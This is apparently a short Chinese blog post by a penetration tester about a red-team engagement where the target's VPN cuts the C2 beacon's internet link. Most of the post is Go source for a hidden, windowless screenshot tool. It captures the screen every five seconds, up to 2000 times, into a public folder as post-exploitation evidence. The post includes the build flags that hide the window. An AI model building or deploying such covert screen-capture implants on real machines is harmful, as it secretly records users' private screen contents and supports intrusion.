开发背景
今天好兄弟打项目时候碰到这么一个情况,目标机器访问内网应用需要连接VPN,会切断外网连接,导致beacon无法及时执行回显命令
为了证明能够突破隔离,需要目标机器访问内网应用的截图,于是简单写了下,当作记录
代码实现
go build -trimpath -ldflags="-s -w -H windowsgui" main.go
为了避免后续beacon掉线导致进程一直执行,需要设置生成次数限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package main
import ( "fmt" "image/png" "os" "path/filepath" "time"
"github.com/vova616/screenshot" )
func main() { //路径 savePath := "C:\\Users\\Public\\test" screenshotFolder := filepath.Join(savePath, "screenshot_%s.png")
if _, err := os.Stat(savePath); os.IsNotExist(err) { err := os.MkdirAll(savePath, 0755) if err != nil { panic(err) } }
// 次数限制 limit := 2000 var count int
for count < limit { img, err := screenshot.CaptureScreen() if err != nil { panic(err) }
fileName := fmt.Sprintf(screenshotFolder, time.Now().Format("20060102_150405"))
f, err := os.Create(fileName) if err != nil { panic(err) } defer f.Close()
err = png.Encode(f, img) if err != nil { panic(err) }
count++
// 每隔5秒执行一次截图 time.Sleep(5 * time.Second) }
fmt.Println("已达到截图次数限制") }
|
实现效果
运行后会在 C:\\Users\\Public\\test
目录下,按照设置的间隔时间生成截图